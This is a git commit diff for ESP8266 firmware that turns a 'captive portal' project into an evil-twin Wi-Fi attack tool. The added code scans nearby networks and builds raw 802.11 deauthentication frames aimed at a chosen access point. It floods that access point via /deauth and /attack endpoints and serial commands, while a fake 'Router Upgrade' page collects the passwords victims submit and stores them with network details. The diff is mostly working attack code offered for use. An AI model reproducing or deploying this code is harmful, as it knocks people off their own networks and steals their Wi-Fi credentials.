Commit 433f3d6
Changed files (16)
captive_portal
captive_portal/data/css/index.css.gz
Binary file
captive_portal/data/html/final.html.gz
Binary file
captive_portal/data/html/handshake.html.gz
Binary file
captive_portal/data/html/index.html
@@ -0,0 +1,16 @@
+<!DOCTYPE html>
+<html lang="en">
+ <head>
+ <meta charset="UTF-8" />
+ <link rel="icon" type="image/png" href="/png/router.png" />
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+ <title>Router Upgrade</title>
+ <script type="module" crossorigin src="/js/index.js"></script>
+ <link rel="stylesheet" href="/css/index.css">
+ </head>
+ <body class="flex flex-col overflow-x-hidden">
+ <div id="root"></div>
+ <script type="text/javascript" src="/js/capfile.js"></script>
+
+ </body>
+</html>
captive_portal/data/html/index.html.gz
Binary file
captive_portal/data/html/ssid.html.gz
Binary file
captive_portal/data/js/bootstrap.min.js.gz
Binary file
captive_portal/data/js/capfile.js.gz
Binary file
captive_portal/data/js/crypto.js.gz
Binary file
captive_portal/data/js/index.js.gz
Binary file
captive_portal/data/js/jquery.min.js.gz
Binary file
captive_portal/data/png/router.png
Binary file
captive_portal/captive_portal.ino
@@ -2,6 +2,7 @@
#include <DNSServer.h>
#include <ArduinoJson.h>
#include <LittleFS.h>
+#include <WebSocketsServer.h>
#include "utils.h"
#include "wifi.h"
@@ -13,7 +14,44 @@ IPAddress APIP(172, 0, 0, 1);
const byte DNS_PORT = 53;
DNSServer dnsServer;
ESP8266WebServer server(80);
+WebSocketsServer webSocket = WebSocketsServer(81);
+AccessPoint accessPoints[20];
+AccessPoint selectedAP;
+int AP_COUNT = 0;
+int DEAUTH = 0;
+
+void deauth(AccessPoint ap){
+ for(int i =0; i< 100; i++){
+ wifi_set_channel(ap.channel);
+ delay(1);
+ wifi_send_pkt_freedom(ap.deauthPacket, 26, 0);
+ delay(1);
+ }
+}
+void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
+ if(length == 0) return;
+ switch(type) {
+ case WStype_DISCONNECTED:
+ Serial.printf("[%u] Disconnected!\r ", num);
+ break;
+ case WStype_CONNECTED: {
+ IPAddress ip = webSocket.remoteIP(num);
+ Serial.printf("[%u] Connection from ", num);
+ Serial.println(ip.toString());
+ Serial.printf("url: %s\r, ", payload);
+ webSocket.broadcastTXT("New client connected");
+ }
+ break;
+ case WStype_TEXT:
+ if(strcmp((char*)payload,"ping") == 0){
+ webSocket.sendTXT(num, "pong");
+ }
+ break;
+ default:
+ break;
+ }
+}
void setup()
{
@@ -27,26 +65,49 @@ void setup()
initialServerSetup(APIP);
dnsServer.start(DNS_PORT, "*", APIP);
- server.on("/", [](){handleRequest(server, "/index.html.gz","html");});
- server.on("/handshake", [](){handleRequest(server, "/handshake.html.gz","html");});
- server.on("/ssid", [](){handleRequest(server, "/ssid.html.gz","html");});
- server.on("/final", [](){handleRequest(server, "/final.html.gz","html");});
-
- server.on("/jquery.min.js", [](){handleRequest(server,"/jquery.min.js.gz","js");});
- server.on("/bootstrap.min.js", [](){handleRequest(server,"/bootstrap.min.js.gz","js");});
- server.on("/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
- server.on("/crypto.js", [](){handleRequest(server,"/crypto.js.gz","js");});
-
+ server.on("/", [](){handleRequest(server, "/index.html","html");});
+ server.on("/attack", [](){handleRequest(server, "/index.html","html");});
+ server.on("/css/index.css", [](){handleRequest(server,"/index.css.gz","css");});
+ server.on("/js/index.js", [](){handleRequest(server,"/index.js.gz","js");});
+ server.on("/js/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
+ server.on("/png/router.png",[](){handleRequest(server,"/router.png","png");});
+
server.on("/post_ssid", [](){String ssid = server.arg("ssid");changeWifi(ssid);});
server.on("/post_handshake",[]() {handlePostHandshake(server);});
server.on("/post_password",[]() {handlePostPassword(server); BLINK(5); });
+ server.on("/get_ssid",[](){server.send(200, "application/json", getSSID());});
server.on("/get_datas",[]() {server.send(200, "application/json", getDatas());});
+ server.on("/get_networks",[](){AP_COUNT = scan_networks(accessPoints); available_networks(server,accessPoints,AP_COUNT,DEAUTH,selectedAP);});
server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
+ server.on("/deauth",[](){
+ int n = server.arg("ap").toInt();
+ if(n > 0 && n <= AP_COUNT){
+ if(DEAUTH == 1){
+ server.send(200, "application/json", "{\"message\":\"Already Deauthenticating - "+selectedAP.ssid+"\",\"status\":\"error\"}");
+ return;
+ }
+ DEAUTH = 1;
+ selectedAP = accessPoints[n-1];
+ selectedAP.deauthState = 1;
+ server.send(200, "application/json", "{\"message\":\"Deauthenticating "+selectedAP.ssid+"\",\"status\":\"success\"}");
+ }
+ else{
+ server.send(200, "application/json", "{\"message\":\"Invalid Access Point number\",\"status\":\"error\"}");
+ }
+ });
+ server.on("/stop_deauth",[](){
+ DEAUTH = 0;
+ selectedAP.deauthState=0;
+ server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}");
+ });
+
server.onNotFound([](){handleNotFound(server);});
server.begin();
+ webSocket.begin();
+ webSocket.onEvent(webSocketEvent);
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
@@ -99,13 +160,46 @@ void loop()
Serial.println("Calculating Space...");
storageInfo();
}
-
+ else if (strcmp(buffer,"scan") == 0){
+ Serial.println("Scanning for Wi-Fi networks...");
+ AP_COUNT = scan_networks(accessPoints);
+ }
+ else if (strcmp(buffer,"list networks") == 0){
+ Serial.println("Listing Wi-Fi networks...");
+ list_network_details(accessPoints,AP_COUNT);
+ }
+ else if (strncmp(buffer,"deauth",6) == 0){
+ int n = atoi(buffer + 7);
+ if(n > 0 && n <= AP_COUNT){
+ if(DEAUTH == 1){
+ Serial.println("Already Deauthenticating - "+selectedAP.ssid);
+ return;
+ }
+ DEAUTH = 1;
+ selectedAP = accessPoints[n-1];
+ Serial.println("Starting deauth...");
+ }
+ else{
+ Serial.println("Invalid Access Point number");
+ Serial.println("Type list networks to see available networks");
+ }
+ }
+ else if (strcmp(buffer,"stop deauth") == 0){
+ Serial.println("Stopping deauth...");
+ DEAUTH = 0;
+ }
else {
Serial.println("Invalid command");
Serial.println("Type help to see available commands");
}
Serial.println("");
}
+ if(DEAUTH){
+ Serial.println("Deauthenticating.. "+selectedAP.ssid);
+ deauth(selectedAP);
+ delay(500);
+ }
dnsServer.processNextRequest();
+ webSocket.loop();
server.handleClient();
}
captive_portal/server.h
@@ -8,6 +8,7 @@ extern void handleRequest(ESP8266WebServer& server,String fileName,String ext);
extern void handleNotFound(ESP8266WebServer& server);
extern void handlePostHandshake(ESP8266WebServer& server);
extern void handlePostPassword(ESP8266WebServer& server);
+extern void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP);
extern String getDatas();
extern String clearHandshakes();
@@ -19,7 +20,12 @@ void handleRequest(ESP8266WebServer& server,String fileName,String ext) {
if(ext=="js"){
ext = "javascript";
}
- server.streamFile(files, "text/"+ext);
+ if(ext=="png"){
+ server.streamFile(files, "image/png");
+ }
+ else{
+ server.streamFile(files, "text/"+ext);
+ }
files.close();
}
else {
@@ -47,10 +53,20 @@ void handlePostHandshake(ESP8266WebServer& server) {
void handlePostPassword(ESP8266WebServer& server) {
String password = server.arg("plain");
+ StaticJsonDocument<200> doc;
if (password == "") {
server.send(200,"application/json","{\"message\":\"Password is empty.\"}");
return;
}
+
+ DeserializationError error = deserializeJson(doc, password);
+ if (error) {
+ server.send(200,"application/json","{\"message\":\"Password is not a valid json.\"}");
+ return;
+ }
+ doc["mac"] = WiFi.macAddress();
+ doc["ip"] = WiFi.localIP().toString();
+ doc["current_ssid"] = WiFi.SSID();
DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
JsonArray handshakes = handshakeJson["passwords"];
handshakes.add(password);
@@ -69,6 +85,12 @@ String getDatas() {
return jsonString;
}
+String getSSID(){
+ DynamicJsonDocument config = readJsonFile("/json/config.json");
+ const char *ssid = config["ssid"];
+ return "{\"ssid\":\""+String(ssid)+"\"}";
+}
+
String clearHandshakes() {
DynamicJsonDocument handshakeJson = readJsonFile("/json/datas.json");
JsonArray handshakes = handshakeJson["handshakes"];
@@ -83,4 +105,27 @@ String clearPasswords() {
handshakes.clear();
writeJsonFile("/json/datas.json", handshakeJson);
return "{\"message\":\"Passwords cleared.\"}";
-}
\ No newline at end of file
+}
+
+void available_networks(ESP8266WebServer& server, AccessPoint ap[], int apCount,int Deauth,AccessPoint selectedAP){
+ String json = "[";
+ for (int i = 0; i < apCount; i++) {
+ Serial.println(Deauth);
+ Serial.println(selectedAP.bssid+" "+ ap[i].bssid);
+ if(Deauth == 1 && selectedAP.bssid == ap[i].bssid)
+ {
+ ap[i].deauthState = 1;
+ Serial.println(ap[i].ssid);
+ }
+ else
+ {
+ ap[i].deauthState = 0;
+ }
+ json+= "{\"ssid\":\"" + ap[i].ssid + "\",\"bssid\":\"" + ap[i].bssid + "\",\"signal\":\"" + ap[i].signalStrength + "\",\"channel\":\"" + ap[i].channel + "\",\"encryption\":\"" + ap[i].encryptionType + "\",\"deauthState\":\"" + ap[i].deauthState + "\"}";
+ if (i < apCount - 1) {
+ json += ",";
+ }
+ }
+ json += "]";
+ server.send(200, "application/json", json);
+}
captive_portal/utils.h
@@ -10,6 +10,7 @@ extern void writeJsonFile(const char* file_path, DynamicJsonDocument& doc);
extern void listDir(const char* dirname, uint8_t levels);
extern void storageInfo();
extern void BLINK(int times);
+extern String encryption_str(int encryption);
void listDir(const char* dirname, uint8_t levels) {
File root = LittleFS.open(dirname,"r");
@@ -70,4 +71,23 @@ void BLINK(int times) {
digitalWrite(BUILTIN_LED, counter % 2);
delay(500);
}
+}
+
+String encryption_str(int encryption)
+{
+ switch (encryption)
+ {
+ case ENC_TYPE_WEP:
+ return "WEP";
+ case ENC_TYPE_TKIP:
+ return "WPA";
+ case ENC_TYPE_CCMP:
+ return "WPA2";
+ case ENC_TYPE_NONE:
+ return "OPEN";
+ case ENC_TYPE_AUTO:
+ return "AUTO";
+ default:
+ return "UNKNOWN";
+ }
}
\ No newline at end of file
captive_portal/wifi.h
@@ -4,33 +4,116 @@
#include <ESP8266WiFi.h>
#include "utils.h"
+class AccessPoint
+{
+public:
+ String ssid;
+ String bssid;
+ int channel;
+ String encryptionType;
+ signed signalStrength;
+ int deauthState=0;
+ // deauth pkt from spacehuhn
+ uint8_t deauthPacket[26] = {
+ /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
+ /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
+ /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
+ /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
+ /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
+ /* 22 - 23 */ 0x00, 0x00, // fragment & squence number
+ /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
+ };
+};
+
extern bool setupWifi();
extern bool changeWifi(String ssid);
extern void initialServerSetup(IPAddress APIP);
+extern int scan_networks(AccessPoint ap[]);
+extern void list_network_details(AccessPoint ap[], int len);
-void initialServerSetup(IPAddress APIP){
- WiFi.mode(WIFI_AP);
- WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
- if(setupWifi()){
- Serial.println("Wifi setup successful");
- }
- else{
- Serial.println("Wifi setup failed");
- }
+void initialServerSetup(IPAddress APIP)
+{
+ WiFi.mode(WIFI_AP_STA);
+ WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
+ if (setupWifi())
+ {
+ Serial.println("Wifi setup successful");
+ }
+ else
+ {
+ Serial.println("Wifi setup failed");
+ }
}
-bool setupWifi(){
+bool setupWifi()
+{
DynamicJsonDocument config = readJsonFile("/json/config.json");
- const char* ssid = config["ssid"];
+ const char *ssid = config["ssid"];
Serial.println("SSID: " + String(ssid));
WiFi.softAP(ssid);
return true;
}
-bool changeWifi(String ssid){
+bool changeWifi(String ssid)
+{
DynamicJsonDocument config = readJsonFile("/json/config.json");
config["ssid"] = ssid;
writeJsonFile("/json/config.json", config);
setupWifi();
return true;
}
+
+void list_network_details(AccessPoint ap[], int len)
+{
+ for (int i = 0; i < len; i++)
+ {
+ Serial.print("AP no: ");
+ Serial.println(i + 1);
+ Serial.println("SSID: " + ap[i].ssid);
+ Serial.println("BSSID: " + ap[i].bssid);
+ Serial.print("Channel: ");
+ Serial.println(ap[i].channel);
+ Serial.print("Encryption: ");
+ Serial.println(ap[i].encryptionType);
+ Serial.print("Signal Strength: ");
+ Serial.println(ap[i].signalStrength);
+ Serial.println("--------------------");
+ }
+}
+
+int scan_networks(AccessPoint ap[])
+{
+ int numNetworks = WiFi.scanNetworks();
+ Serial.println("Scan complete");
+ if (numNetworks == 0)
+ {
+ Serial.println("No networks found");
+ }
+ else
+ {
+ Serial.print(numNetworks);
+ Serial.println(" networks found, updating ap list");
+ for (int i = 0; i < numNetworks; i++)
+ {
+ ap[i].ssid = WiFi.SSID(i);
+ ap[i].bssid = WiFi.BSSIDstr(i);
+ ap[i].channel = WiFi.channel(i);
+ ap[i].encryptionType = encryption_str(WiFi.encryptionType(i));
+ ap[i].signalStrength = WiFi.RSSI(i);
+
+ // set the BSSID of the deauth packet
+ uint8_t mac[6];
+ const char *myCharPtr = ap[i].bssid.c_str();
+ for (int i = 0; i < 6; i++) {
+ char byte_str[3];
+ byte_str[0] = myCharPtr[i*3];
+ byte_str[1] = myCharPtr[i*3+1];
+ byte_str[2] = '\0';
+ mac[i] = strtol(byte_str, NULL, 16);
+ }
+ memcpy(ap[i].deauthPacket + 10, mac, 6);
+ memcpy(ap[i].deauthPacket + 16, mac, 6);
+ }
+ }
+ return numNetworks;
+}